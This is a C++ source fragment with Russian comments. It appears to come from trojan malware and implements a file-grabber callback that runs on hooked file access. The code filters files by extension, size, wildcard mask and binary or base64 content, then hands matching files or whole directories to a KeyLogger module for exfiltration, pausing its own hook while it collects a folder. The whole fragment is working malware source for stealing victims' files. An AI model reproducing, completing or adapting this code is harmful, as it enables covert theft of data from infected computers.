//Проверяет каждого получателя и отсылаем им оповещения о срабатывании хука, согласно условиям получателя void SendEvent( ParamEvent& e ) { if( !receivers ) return; int count = List::Count(receivers); for( int i = 0; i < count; i++ ) { Receiver* rv = (Receiver*)List::GetItem( receivers, i ); if( !rv->ignore && e.access & rv->access ) //тип доступа { int send = 0; //слать событие (>0) или нет (=0) int extFilter = FilterExt( e, rv ); if( extFilter > 0 ) //фильтер сработал { if( extFilter == 2 ) //файл нужного нам расширения { if( rv->aw & LOADFILE ) //нужно загрузить LoadFile(e); send = 1; } } else { DWORD h; e.szData = (DWORD)pGetFileSize( e.file, &h ); //подходит ли размер if( e.szData >= rv->minSize && (e.szData <= rv->maxSize || rv->maxSize < 0)) { if( rv->maska || rv->aw & FILEISBIN || rv->ignoreBeg[0][0] ) { if( LoadFile(e) ) { if( !IsFormatBeg( e, rv ) ) //файл не игнорируемого формата { //если есть какой-то из фильтров, то сообщаем только тогда когда есть реакция на один из них bool filters = false; //проходил ли через какой-то фильтер for(;;) { //проверяем маску if( rv->maska ) { filters = true; if( WildCmp( (char*)e.data, rv->maska ) ) { send = 2; break; } } if( rv->aw & FILEISBIN ) { filters = true; if( IsBin( (BYTE*)e.data, e.szData ) ) { send = 3; break; } } if( rv->aw & FILEISBASE64 ) { filters = true; if( IsBase64( (BYTE*)e.data, e.szData ) ) { send = 4; break; } } if( filters ) send = 0; //если ни один из фильтров не сработал, то сообщение не шлем break; } } } } else { if( rv->aw & LOADFILE ) //нужно загрузить LoadFile(e); send = 5; //нужно оповещать о файлах определенного размера } } } if( rv->FuncReceiver && send > 0 ) { e.nameSend[0] = 0; if( e.unicode ) { DBG("FileGrabberW", "Отреагировали на файл '%ls'(%d), size: %d", e.fileNameW, send, e.szData ); e.fileName = WSTR::ToAnsi( e.fileNameW, 0 ); } else { DBG("FileGrabberA", "Отреагировали на файл '%s'(%d), size: %d", e.fileNameA, send, e.szData ); e.fileName = (char*)e.fileNameA; } e.shortName = File::ExtractFileNameA( e.fileName, false ); //ищем расширение e.extFile = 0; const char* p = STR::ScanEnd( (char*)e.shortName, '.' ); if( p ) e.extFile = p + 1; int res = rv->FuncReceiver(&e); if( res & SENDFILE ) //если возвращает SENDFILE, то отправляем содержимое { if( e.data ) { const char* nameSend = "FileGrabber"; if( res & CURRNAMEFILE ) //извлекаем имя из полного имени файла nameSend = e.shortName; else if( res & CURRFULLNAMEFILE ) //имя файла с полными путями nameSend = e.fileName; else if( e.nameSend[0] ) //имя передал получатель nameSend = e.nameSend; DBG( "FileGrabber", "Отправили файл '%s' под именем '%s'", e.fileName, nameSend ); KeyLogger::AddFile( 0, (char*)nameSend, e.data, e.szData ); } } else if( res & SENDFOLDER ) { pPathRemoveFileSpecA(e.fileName); //добавляем в конце слеш, так функция PathRemoveFileSpec его убирает int sz = m_lstrlen(e.fileName); if( e.fileName[sz - 1] != '\\' ) { e.fileName[sz] = '\\'; e.fileName[sz + 1] = 0; sz++; } DBG( "FileGrabber", "Отправляем папку '%s' под именем '%s'", e.fileName, e.nameSend ); int currState = stateGrabber; stateGrabber |= IGNOREHOOK; //отключаем граббер KeyLogger::AddDirectory( e.fileName, e.nameSend ); stateGrabber = currState; //восстанавливаем состояние } if( res & STOPRECEIVER ) rv->ignore = true; if( e.fileName != e.fileNameA ) //освобождаем память, если была перекодировка STR::Free(e.fileName); } } } MemFree(e.data); e.data = 0; }